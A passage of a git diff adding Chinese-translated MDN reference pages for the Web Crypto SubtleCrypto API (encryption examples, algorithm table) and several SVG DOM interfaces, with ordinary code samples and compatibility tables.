以下代码获取文本框中的内容,编码后进行加密,使用的算法为 RSA-OAEP。可以在 GitHub 查看完整代码:See the complete code on GitHub

+ +
function getMessageEncoding() {
+  const messageBox = document.querySelector(".rsa-oaep #message");
+  let message = messageBox.value;
+  let enc = new TextEncoder();
+  return enc.encode(message);
+}
+
+function encryptMessage(publicKey) {
+  let encoded = getMessageEncoding();
+  return window.crypto.subtle.encrypt(
+    {
+      name: "RSA-OAEP"
+    },
+    publicKey,
+    encoded
+  );
+}
+ +

AES-CTR

+ +

以下代码同样获取文本框内容,进行编码后使用 AES 的 CTR 模式加密,完整代码:See the complete code on GitHub

+ +
function getMessageEncoding() {
+  const messageBox = document.querySelector(".aes-ctr #message");
+  let message = messageBox.value;
+  let enc = new TextEncoder();
+  return enc.encode(message);
+}
+
+function encryptMessage(key) {
+  let encoded = getMessageEncoding();
+  // counter will be needed for decryption
+  counter = window.crypto.getRandomValues(new Uint8Array(16));
+  return window.crypto.subtle.encrypt(
+    {
+      name: "AES-CTR",
+      counter,
+      length: 64
+    },
+    key,
+    encoded
+  );
+}
+
+ +
let iv = new Uint8array(16);
+let key = new Uint8array(16);
+let data = new Uint8array(12345);
+//crypto functions are wrapped in promises so we have to use await and make sure the function that
+//contains this code is an async function
+//encrypt function wants a cryptokey object
+const key_encoded = await crypto.subtle.importKey(  "raw",    key.buffer,   'AES-CTR' ,  false,   ["encrypt", "decrypt"]);
+const encrypted_content = await window.crypto.subtle.encrypt(
+    {
+      name: "AES-CTR",
+      counter: iv,
+      length: 128
+    },
+    key_encoded,
+    data
+  );
+
+//Uint8array
+console.log(encrypted_content);
+ +

AES-CBC

+ +

使用 AES 的 CBC 模式加密,完整代码:See the complete code on GitHub

+ +
function getMessageEncoding() {
+  const messageBox = document.querySelector(".aes-cbc #message");
+  let message = messageBox.value;
+  let enc = new TextEncoder();
+  return enc.encode(message);
+}
+
+function encryptMessage(key) {
+  let encoded = getMessageEncoding();
+  // iv will be needed for decryption
+  iv = window.crypto.getRandomValues(new Uint8Array(16));
+  return window.crypto.subtle.encrypt(
+    {
+      name: "AES-CBC",
+      iv
+    },
+    key,
+    encoded
+  );
+}
+ +

AES-GCM

+ +

使用 AES 的 GCM 模式加密,完整代码:See the complete code on GitHub

+ +
function getMessageEncoding() {
+  const messageBox = document.querySelector(".aes-gcm #message");
+  let message = messageBox.value;
+  let enc = new TextEncoder();
+  return enc.encode(message);
+}
+
+function encryptMessage(key) {
+  let encoded = getMessageEncoding();
+  // iv will be needed for decryption
+  iv = window.crypto.getRandomValues(new Uint8Array(12));
+  return window.crypto.subtle.encrypt(
+    {
+      name: "AES-GCM",
+      iv: iv
+    },
+    key,
+    encoded
+  );
+}
+ + + +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Web Crypto API', '#dfn-SubtleCrypto-method-encrypt', 'SubtleCrypto.encrypt()') }}{{ Spec2('Web Crypto API') }}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.SubtleCrypto.encrypt")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/subtlecrypto/index.html b/files/zh-cn/web/api/subtlecrypto/index.html new file mode 100644 index 0000000000..24dec9a283 --- /dev/null +++ b/files/zh-cn/web/api/subtlecrypto/index.html @@ -0,0 +1,334 @@ +--- +title: SubtleCrypto +slug: Web/API/SubtleCrypto +tags: + - 加密 +translation_of: Web/API/SubtleCrypto +--- +

{{APIRef("Web Crypto API")}}

+ +

基于Web Crypto APISubtleCrypto 接口提供了许多底层加密功能。它通过窗口上下文提供可用的{{domxref("Crypto.subtle")}} 属性来访问(通过{{domxref("Window.crypto")}})。

+ +
+

注意: 此API提供了许多底层加密源语。滥用他们很容易陷入微妙的陷阱中。

+ +

即使你正确的使用基础加密方法,也很难设计一套正确的安全密钥管理及整体安全设计方案,这些往往是安全专家的领域。

+ +

错误的安全系统设计和实现会使系统的安全性完全失效

+ +

如果你不知道此API能为你提供什么,则不应该使用该API

+
+ +

概览

+ +

我们可以将此API的功能分为两类:加密功能和密钥管理功能。

+ +

加密功能

+ +

这些函数你可以用来实现系统中的隐私和身份验证等安全功能。SubtleCrypto API提供了如下加密函数:

+ +

sign() 、 verify(): 创建和验证数字签名。
+ * encrypt() and decrypt(): 加密和解密数据。
+ * digest(): create a fixed-length, collision-resistant digest of some data.

+ +

密钥管理功能

+ +

除了 digest(),在SubtleCrypto API中所有加密功能都会使用密钥,并使用CryptoKey对象表示加密密钥。要执行签名和加密操作, 请将 CryptoKey 对象传参给 sign() 或 encrypt() 函数.

+ +

生成和派生密钥

+ +

generateKey() 和 deriveKey() 函数都可以创建一个新的 CryptoKey 对象。

+ +

不同之处在于 generateKey() 每次都会生成一个新的键值对, 而 deriveKey() 通过从基础密钥资源中生成一个新的密钥。如果为两个独立的deriveKey()提供相同的基础密钥资源,那么你会获得两个具有相同基础值的 CryptoKey 对象。如果你想通过密码派生加密密钥,然后从相同的密码派生相同的密钥以解密数据,那么这将会非常有用。

+ +

导入和导出密钥

+ +

要在应用程序外部使密钥可用,您需要导出密钥,exportKey() 可以为你提供该功能。你可以选择多种导出格式。

+ +

importKey()与 exportKey() 刚好相反。你可以从其他系统导入密钥,并且支持像 PKCS #8 和 JSON Web Key 这样可以帮助你执行此操作的标准格式。exportKey() 函数以非标准格式导出密钥。

+ +

如果密钥是敏感的,你需要使用 wrapKey(), 该函数导出密钥并且使用另外一个密钥加密它。

+ +

unwrapKey()wrapKey()相反,该函数解密密钥后导入解密的密钥

+ +

存储密钥

+ +

CryptoKey对象可以通过 structured clone algorithm来存储,这意味着你可以通过web storage APIs来存储和获取他们。更为规范的方式是通过使用IndexedDB API 来存储CryptoKey对象。

+ +

支持的算法

+ +

Web Crypto API提供的加密函数可以由一个或多个不同的加密算法执行:

+ +

函数可以通过参数来指定使用的算法。一些算法需要额外的参数,在这些情况下通过将算法参数作为对象字典传入额外的参数中实现。

+ +

下表总结了哪些算法适用于哪些加密操作:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
  +

sign()

+ +

verify()

+
+

encrypt()

+ +

decrypt()

+
digest() +

deriveBits()

+ +

deriveKey()

+
+

wrapKey()

+ +

unwrapKey()

+
RSASSA-PKCS1-v1_5    
RSA-PSS    
ECDSA    
HMAC    
RSA-OAEP   
AES-CTR   
AES-CBC   
AES-GCM   
SHA-1    
SHA-256    
SHA-384    
SHA-512    
ECDH    
HKDF    
PBKDF2    
AES-KW    
+ +

属性

+ +

此接口既不继承也不实现任何属性。

+ +

方法

+ +

此接口不继承任何方法。

+ +
+
{{domxref("SubtleCrypto.encrypt()")}}
+
以算法、密钥、明文为参数,返回一个包含加密数据的 {{jsxref("Promise")}}对象。
+
{{domxref("SubtleCrypto.decrypt()")}}
+
以算法、密钥、明文为参数,返回一个包含解密数据的 {{jsxref("Promise")}}对象。
+
{{domxref("SubtleCrypto.sign()")}}
+
以文本、算法和密码为参数,返回一个包含签名的 {{jsxref("Promise")}}。
+
{{domxref("SubtleCrypto.verify()")}}
+
以签名、与之匹配的文本、算法、密码为参数,验证签名的真实性,返回一个包含布尔型的 {jsxref("Promise")}} 对象。
+
{{domxref("SubtleCrypto.digest()")}}
+
以生成摘要的算法和文本作为参数,返回一个包含数据摘要的 {{jsxref("Promise")}} 对象。
+
{{domxref("SubtleCrypto.generateKey()")}}
+
以给出的用法和返可提取性作为参数,返回一个包含用于对称算法的新生成的 {{domxref("CryptoKey")}} 或者包含两个新的生成的密钥用于非对称加密的 {{domxref("CryptoKeyPair")}} 的 {{jsxref("Promise")}} 对象。
+
{{domxref("SubtleCrypto.deriveKey()")}}
+
以从 master key 派生出来的密钥和特定的算法作为参数,返回一个包含新生成的 {{domxref("CryptoKey")}}  的 {{jsxref("Promise")}}对象。
+
{{domxref("SubtleCrypto.deriveBits()")}}
+
以从 master key 派生出来的密钥和特定的算法作为参数,返回一个包含新生成的伪随机字节的 Buffer的 {{jsxref("Promise")}} 对象。
+
{{domxref("SubtleCrypto.importKey()")}}
+
以格式、算法、原始密钥数据、用途和可提取性作为参数,返回一个包含 {{domxref("CryptoKey")}} 的 {{jsxref("Promise")}} 对象。
+
{{domxref("SubtleCrypto.exportKey()")}}
+
返回一个包含所请求格式的密钥的 Buffer 的 {{jsxref("Promise")}} 对象。
+
{{domxref("SubtleCrypto.wrapKey()")}}
+
返回一个包含在不安全环境中使用(传输,存储)的包裹对称密钥的 {{jsxref("Promise")}} 对象。返回的被包裹的缓冲数据是按照参数中给出的格式的,包含使用给定算法的给予包装密钥包裹的密钥。
+
{{domxref("SubtleCrypto.unwrapKey()")}}
+
返回一个包含对应于参数中给出的包裹密钥的 {{domxref("CryptoKey")}} 的 {{jsxref("Promise")}} 对象。
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Web Crypto API', '#subtlecrypto-interface', 'SubtleCrypto') }}{{ Spec2('Web Crypto API') }}Initial definition.
+ +

浏览器支持

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatChrome(37) }}{{ CompatGeckoDesktop(34) }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatNo }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support37{{ CompatChrome(37) }}{{ CompatGeckoMobile(34) }}{{ CompatNo }}{{ CompatUnknown() }}{{ CompatNo }}
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/svgaelement/index.html b/files/zh-cn/web/api/svgaelement/index.html new file mode 100644 index 0000000000..67b523dd70 --- /dev/null +++ b/files/zh-cn/web/api/svgaelement/index.html @@ -0,0 +1,165 @@ +--- +title: SVGAElement +slug: Web/API/SVGAElement +tags: + - API + - SVG + - SVG DOM + - WebAPI + - 参考 + - 需要兼容性表 + - 需要示例 +translation_of: Web/API/SVGAElement +--- +
{{APIRef("SVG")}}
+ +

SVG a DOM 接口

+ +

SVGAElement接口提供了对{{ SVGElement("a") }}元素的属性的访问,而且还提供了操作该元素的方法。

+ +

接口概览

+ + + + + + + + + + + + + + + + + + + + +
又作用于{{ domxref("SVGElement") }}、 {{ domxref("SVGURIReference") }}、 {{ domxref("SVGTests") }}、 {{ domxref("SVGLangSpace") }}、 {{ domxref("SVGExternalResourcesRequired") }}、 {{ domxref("SVGStylable") }}、 {{ domxref("SVGTransformable") }}
方法
属性 +
    +
  • 只读属性 {{ domxref("SVGAnimatedString") }} target
  • +
+
规范文档SVG 1.1 (2nd Edition)
+ +

属性

+ +

这个接口同样会从父级元素 {{domxref("SVGGraphicsElement")}}继承属性,并实现 {{domxref("SVGURIReference")}}{{domxref("HTMLHyperlinkElementUtils")}} 中的功能。

+ +

{{domxref("SVGAElement.download")}}

+ +

    参见 {{domxref("HTMLAnchorElement.download")}}

+ +

{{domxref("SVGAElement.href")}}

+ +

    See {{domxref("HTMLAnchorElement.href")}}

+ +

{{domxref("SVGAElement.hreflang")}}

+ +

    是一个反映 hreflang 属性的字符串( DOMString ),表示链接资源的语言种类。

+ +

{{domxref("SVGAElement.ping")}}

+ +

    是一个反映ping值的字符串( DOMString ),包含以空格分隔开的URL列表,当超链接可以被跟踪时,浏览器会(在后台)发送有PING主体的 {{HTTPMethod("POST")}} 的请求,一般用于追踪。

+ +

{{domxref("SVGAElement.referrerPolicy")}}

+ +

    参见 {{domxref("HTMLAnchorElement.referrerPolicy")}}

+ +

{{domxref("SVGAElement.rel")}}

+ +

    参见 {{domxref("HTMLAnchorElement.rel")}}

+ +

{{domxref("SVGAElement.relList")}}

+ +

    参见{{domxref("HTMLAnchorElement.relList")}}

+ +

{{domxref("SVGAElement.target")}} {{readonlyInline}}

+ +

    它和特定元素的 {{SVGAttr("target")}} 属性相同

+ +

{{domxref("SVGAElement.text")}}

+ +

    是一个字符串( DOMString ),作为 {{domxref("Node.textContent")}} 属性的代名词。

+ +

{{domxref("SVGAElement.type")}}

+ +

    是一个反映 type 属性的字符串( DOMString ),表示链接资源的MIME种类。

+ +

方法

+ +

SVGAElement接口没有提供任何专有的方法。

+ +

示例

+ +

在下面的这个例子里, {{SVGElement("a")}} 元素的 {{SVGAttr("target")}} 属性值是 _blank ,当链接被点击时,它将记录以通知是否符合条件。

+ +
var linkRef = document.querySelector("a");
+linkRef.target = "_self"; 
+
+linkRef.onclick = function(){
+  if (linkRef.target === "_blank") {
+    console.log("BLANK!");
+    linkRef.target = "_self";
+  } else {
+    console.log("SORRY! not _blank");
+  }
+}
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}9.0{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/svganimatedangle/index.html b/files/zh-cn/web/api/svganimatedangle/index.html new file mode 100644 index 0000000000..ff9a9edcd9 --- /dev/null +++ b/files/zh-cn/web/api/svganimatedangle/index.html @@ -0,0 +1,122 @@ +--- +title: SVGAnimatedAngle +slug: Web/API/SVGAnimatedAngle +translation_of: Web/API/SVGAnimatedAngle +--- +
{{APIRef("SVG")}}
+ +

SVG animated angle interface

+ +

The SVGAnimatedAngle interface is used for attributes of basic type <angle> which can be animated.

+ +

Interface overview

+ + + + + + + + + + + + + + + + + + + + +
Also implementNone
MethodsNone
Properties +
    +
  • readonly {{ domxref("SVGAngle") }} baseVal
  • +
  • readonly {{ domxref("SVGAngle") }} animVal
  • +
+
Normative documentSVG 1.1 (2nd Edition)
+ +

Properties

+ + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
baseVal{{ domxref("SVGAngle") }}The base value of the given attribute before applying any animations.
animVal{{ domxref("SVGAngle") }}A read only {{ domxref("SVGAngle") }} representing the current animated value of the given attribute. If the given attribute is not currently being animated, then the {{ domxref("SVGAngle") }} will have the same contents as baseVal. The object referenced by animVal will always be distinct from the one referenced by baseVal, even when the attribute is not animated.
+ +

Methods

+ +

The SVGAnimatedAngle interface do not provide any specific methods.

+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{CompatVersionUnknown}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

 

diff --git a/files/zh-cn/web/api/svganimateelement/index.html b/files/zh-cn/web/api/svganimateelement/index.html new file mode 100644 index 0000000000..aa58555245 --- /dev/null +++ b/files/zh-cn/web/api/svganimateelement/index.html @@ -0,0 +1,50 @@ +--- +title: SVGAnimateElement +slug: Web/API/SVGAnimateElement +translation_of: Web/API/SVGAnimateElement +--- +
{{APIRef("SVG")}}
+ +

 SVGAnimateElement 接口对应于 {{SVGElement("animate")}} 元素。

+ +

{{InheritanceDiagram(600, 140)}}

+ +

属性

+ +

该接口没有属性,但从其父级继承属性,

+ +

{{domxref("SVGAnimationElement")}}.

+ +

方法

+ +

该接口没有方法,但从其父级继承方法,

+ +

{{domxref("SVGAnimationElement")}}.

+ +

技术指标

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("SVG Animations 2", "#InterfaceSVGAnimateElement", "SVGAnimateElement")}}{{Spec2("SVG Animations 2")}}从{{domxref("SVGStylable")}}中删除继承
{{SpecName("SVG1.1", "animate.html#InterfaceSVGAnimateElement", "SVGAnimateElement")}}{{Spec2("SVG1.1")}}初始定义
+ +

浏览器兼容性

+ + + +

{{Compat("api.SVGAnimateElement")}}

diff --git a/files/zh-cn/web/api/svganimationelement/index.html b/files/zh-cn/web/api/svganimationelement/index.html new file mode 100644 index 0000000000..6444e9167d --- /dev/null +++ b/files/zh-cn/web/api/svganimationelement/index.html @@ -0,0 +1,96 @@ +--- +title: SVGAnimationElement +slug: Web/API/SVGAnimationElement +tags: + - API + - NeedsExample + - NeedsTranslation + - Reference + - SVG + - SVG DOM + - TopicStub +translation_of: Web/API/SVGAnimationElement +--- +
{{APIRef("SVG")}}
+ +

The SVGAnimationElement interface is the base interface for all of the animation element interfaces: {{domxref("SVGAnimateElement")}}, {{domxref("SVGSetElement")}}, {{domxref("SVGAnimateColorElement")}}, {{domxref("SVGAnimateMotionElement")}} and {{domxref("SVGAnimateTransformElement")}}.

+ +

{{InheritanceDiagram(600, 140)}}

+ +

Properties

+ +

This interface also inherits properties from its parent, {{domxref("SVGElement")}}.

+ +
+
{{domxref("SVGAnimationElement.targetElement")}} {{ReadOnlyInline}}
+
An {{domxref("SVGElement")}} representing the element which is being animated. If no target element is being animated (for example, because the {{SVGAttr("href")}} specifies an unknown element) the value returned is null.
+
+ +

Methods

+ +

This interface also inherits methods from its parent, {{domxref("SVGElement")}}.

+ +
+
{{domxref("SVGAnimationElement.getStartTime()")}}
+
Returns a float representing the begin time, in seconds, for this animation element's current interval, if it exists, regardless of whether the interval has begun yet. If there is no current interval, then a {{domxref("DOMException")}} with code INVALID_STATE_ERR is thrown.
+
{{domxref("SVGAnimationElement.getCurrentTime()")}}
+
Returns a float representing the current time in seconds relative to time zero for the given time container.
+
{{domxref("SVGAnimationElement.getSimpleDuration()")}}
+
Returns a float representing the number of seconds for the simple duration for this animation. If the simple duration is undefined (e.g., the end time is indefinite), then a {{domxref("DOMException")}} with code NOT_SUPPORTED_ERR is raised.
+
{{domxref("SVGAnimationElement.beginElement()")}} {{experimental_inline}}
+
Creates a begin instance time for the current time. The new instance time is added to the begin instance times list. The behavior of this method is equivalent to beginElementAt(0).
+
{{domxref("SVGAnimationElement.beginElementAt()")}} {{experimental_inline}}
+
+

Creates a begin instance time for the current time plus the specified offset. The new instance time is added to the begin instance times list.

+
+
{{domxref("SVGAnimationElement.endElement()")}} {{experimental_inline}}
+
+

Creates an end instance time for the current time. The new instance time is added to the end instance times list. The behavior of this method is equivalent to endElementAt(0).

+
+
{{domxref("SVGAnimationElement.endElementAt()")}} {{experimental_inline}}
+
Creates a end instance time for the current time plus the specified offset. The new instance time is added to the end instance times list.
+
+ +

Events

+ +

Listen to these events using addEventListener() or by assigning an event listener to the on... handler property of this interface.

+ +
+
beginEvent
+
Fired when the element local timeline begins to play.
+ Also available via the onbegin property.
+
endEvent
+
Fired when at the active end of the animation is reached.
+ Also available via the onend property.
+
repeatEvent
+
Fired when the element's local timeline repeats. It will be fired each time the element repeats, after the first iteration.
+ Also available via the onrepeat property.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("SVG Animations 2", "#InterfaceSVGAnimationElement", "SVGAnimationElement")}}{{Spec2("SVG Animations 2")}} 
{{SpecName("SVG1.1", "animate.html#InterfaceSVGAnimationElement", "SVGAnimationElement")}}{{Spec2("SVG1.1")}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.SVGAnimationElement")}}

diff --git a/files/zh-cn/web/api/svganimationelement/targetelement/index.html b/files/zh-cn/web/api/svganimationelement/targetelement/index.html new file mode 100644 index 0000000000..fd722f4005 --- /dev/null +++ b/files/zh-cn/web/api/svganimationelement/targetelement/index.html @@ -0,0 +1,43 @@ +--- +title: targetElement +slug: Web/API/SVGAnimationElement/targetElement +translation_of: Web/API/SVGAnimationElement/targetElement +--- +
{{APIRef("SVG")}}
+ +

SVGAnimationElement.targetElement属性是指完成动画的元素。如果没有目标元素在执行动画(例如:因为 {{SVGAttr("href")}}属性指定了一个未知的元素 ),这个值将返回null

+ +

语法

+ +
var targetElement = someElement.targetElement;
+
+ +

技术规范

+ + + + + + + + + + + + + + + + + + + +
技术规范状态注释
{{SpecName("SVG Animations 2", "#__svg__SVGAnimationElement__targetElement", "SVGAnimationElement.targetElement")}}{{Spec2("SVG Animations 2")}} +

添加null作为没有目标元素执行动画时的返回值。

+
{{SpecName("SVG1.1", "animate.html#__svg__SVGAnimationElement__targetElement", "SVGAnimationElement.targetElement")}}{{Spec2("SVG1.1")}}初始定义
+ +

浏览器兼容性

+ + + +

{{Compat("api.SVGAnimationElement.targetElement")}}

diff --git a/files/zh-cn/web/api/svgcircleelement/index.html b/files/zh-cn/web/api/svgcircleelement/index.html new file mode 100644 index 0000000000..e087961f10 --- /dev/null +++ b/files/zh-cn/web/api/svgcircleelement/index.html @@ -0,0 +1,136 @@ +--- +title: SVGCircleElement +slug: Web/API/SVGCircleElement +tags: + - API + - SVG + - SVG DOM + - WebAPI + - 参考 + - 需要兼容性表 + - 需要示例 +translation_of: Web/API/SVGCircleElement +--- +
{{APIRef("SVG")}}
+ +

SVG Circle DOM 接口

+ +

SVGCircleElement 接口提供了对{{ SVGElement("circle") }}元素的属性的访问,而且还提供了操作该元素的方法。

+ +

接口概览

+ + + + + + + + + + + + + + + + + + + + +
又作用于{{ domxref("SVGElement") }}、 {{ domxref("SVGTests") }}、 {{ domxref("SVGLangSpace") }}、{{ domxref("SVGExternalResourcesRequired") }}、{{ domxref("SVGStylable") }}、 {{ domxref("SVGTransformable") }}
方法
属性 +
    +
  • 只读 {{ domxref("SVGAnimatedLength") }} cx
  • +
  • 只读 {{ domxref("SVGAnimatedLength") }} cy
  • +
  • 只读 {{ domxref("SVGAnimatedLength") }} r
  • +
+
规范文档SVG 1.1 (2nd Edition)
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
名称类型描述
cx{{ domxref("SVGAnimatedLength") }}对应于给定{{ SVGElement("circle") }}元素的{{ SVGAttr("cx") }}属性
cy{{ domxref("SVGAnimatedLength") }}对应于给定{{ SVGElement("circle") }}元素的{{ SVGAttr("cy") }}属性
r{{ domxref("SVGAnimatedLength") }}对应于给定{{ SVGElement("circle") }}元素的{{ SVGAttr("r") }}属性
+ +

方法

+ +

SVGCircleElement接口没有提供任何专有方法。

+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}9.0{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/svgelement/index.html b/files/zh-cn/web/api/svgelement/index.html new file mode 100644 index 0000000000..1ee9eaa4d4 --- /dev/null +++ b/files/zh-cn/web/api/svgelement/index.html @@ -0,0 +1,144 @@ +--- +title: SVGElement +slug: Web/API/SVGElement +translation_of: Web/API/SVGElement +--- +
{{APIRef("SVG")}}
+ +
所有SVG DOM类的父类.
+ +
 
+ +

{{InheritanceDiagram}}

+ +

属性

+ +
+
{{domxref("SVGElement.dataset")}}{{readonlyInline}}
+
A {{domxref("DOMStringMap")}} object which provides a list of key/value pairs of named data attributes which correspond to custom data attributes attached to the element. These can also be defined in SVG using attributes of the form {{SVGAttr("data-*")}}, where * is the key name for the pair. This works just like HTML's {{domxref("HTMLElement.dataset")}} property and HTML's {{htmlattrxref("data-*")}} global attribute.
+
{{domxref("SVGElement.id")}}{{readonlyInline}}
+
A {{domxref("DOMString")}} representing the value of the {{SVGAttr("id")}} attribute on the given element, or the empty string if id is not present.
+
{{domxref("SVGElement.xmlbase")}}{{readonlyInline}}
+
A {{domxref("DOMString")}} corresponding to the {{SVGAttr("xml:base")}} attribute on the given element.
+
{{domxref("SVGElement.ownerSVGElement")}}{{readonlyInline}}
+
An {{domxref("SVGSVGElement")}} referring to the nearest ancestor {{SVGElement("svg")}} element. null if the given element is the outermost <svg> element.
+
{{domxref("SVGElement.viewportElement")}}{{readonlyInline}}
+
The {{domxref("SVGElement")}}, which established the current viewport. Often, the nearest ancestor {{SVGElement("svg")}} element. null if the given element is the outermost <svg> element.
+
+ +

方法

+ +

SVGElement类本身没有方法, 但拥有从父类{{domxref("Element")}}继承的方法.

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("SVG2", "types.html#InterfaceSVGElement", "SVGElement")}}{{Spec2("SVG2")}}Adds the {{domxref("SVGElement.dataset", "dataset")}} property.
{{SpecName("SVG1.1", "types.html#InterfaceSVGElement", "SVGElement")}}{{Spec2("SVG1.1")}}Initial definition
+ +

浏览器兼容性

+ +

{{ CompatibilityTable }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Microsoft EdgeInternet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}[1]{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatIE("9.0")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
dataset attribute{{CompatChrome("54")}}{{CompatUnknown}}{{CompatGeckoDesktop("51")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOpera("41")}}{{CompatSafari("10.0")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatVersionUnknown}}[1]{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}} [1]
dataset attribute{{CompatNo}}54{{CompatUnknown}}{{CompatGeckoMobile(51)}}{{CompatUnknown}}4110.054
+
+ +

[1] 属性 offsetParent, offsetTop, offsetLeft, offsetWidth, 和 offsetHeight 从Chrome 48开始被废弃.

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/svgevent/index.html b/files/zh-cn/web/api/svgevent/index.html new file mode 100644 index 0000000000..cc0ca99238 --- /dev/null +++ b/files/zh-cn/web/api/svgevent/index.html @@ -0,0 +1,44 @@ +--- +title: SVGEvent +slug: Web/API/SVGEvent +translation_of: Web/API/SVGEvent +--- +
{{APIRef("SVG")}}
+ +

{{domxref("SVGEvent")}} 是一种与SVG相关事件所对应的事件对象接口。

+ + + +

Properties

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}事件目标(DOM树的最顶端)
type {{readonlyInline}}{{domxref("DOMString")}}事件类型
bubbles {{readonlyInline}}{{jsxref("Boolean")}}事件是否冒泡
cancelable {{readonlyInline}}{{jsxref("Boolean")}}事件是否可取消
diff --git a/files/zh-cn/web/api/svggeometryelement/getpointatlength/index.html b/files/zh-cn/web/api/svggeometryelement/getpointatlength/index.html new file mode 100644 index 0000000000..fdfe7c1d5d --- /dev/null +++ b/files/zh-cn/web/api/svggeometryelement/getpointatlength/index.html @@ -0,0 +1,58 @@ +--- +title: SVGGeometryElement.getPointAtLength() +slug: Web/API/SVGGeometryElement/getPointAtLength +tags: + - SVG + - getPointAtLength +translation_of: Web/API/SVGGeometryElement/getPointAtLength +--- +
{{APIRef("SVG")}}
+ +

SVGGeometryElement.getPointAtLength() 方法沿路径返回给定距离的点。

+ +
+

Note: This method was originally part of the {{domxref("SVGPathElement")}} interface. SVG 2 introduced the {{domxref("SVGGeometryElement")}} interface and moved the property to it.

+
+ +

Syntax

+ +
DOMPoint someElement.getPointAtLength(float distance);
+
+ +

Parameters

+ +
+
distance
+
A float referring to the distance along the path.
+
+ +

Return value

+ +

A {{domxref("DOMPoint")}} indicating the point at a given distance along the path.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("SVG2", "types.html#__svg__SVGGeometryElement__getPointAtLength", "SVGGeometryElement.getTotalLength()")}}{{Spec2("SVG2")}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.SVGGeometryElement.getPointAtLength")}}

+ +
+
+
diff --git a/files/zh-cn/web/api/svggeometryelement/index.html b/files/zh-cn/web/api/svggeometryelement/index.html new file mode 100644 index 0000000000..9d9ca5ace1 --- /dev/null +++ b/files/zh-cn/web/api/svggeometryelement/index.html @@ -0,0 +1,70 @@ +--- +title: SVGGeometryElement +slug: Web/API/SVGGeometryElement +tags: + - API + - DOM + - NeedsExample + - NeedsTranslation + - Reference + - SVG + - SVG DOM + - TopicStub +translation_of: Web/API/SVGGeometryElement +--- +
{{APIRef("SVG")}}
+ +

The SVGGeometryElement interface represents SVG elements whose rendering is defined by geometry with an equivalent path, and which can be filled and stroked. This includes paths and the basic shapes.

+ +

{{InheritanceDiagram(600, 140)}}

+ +
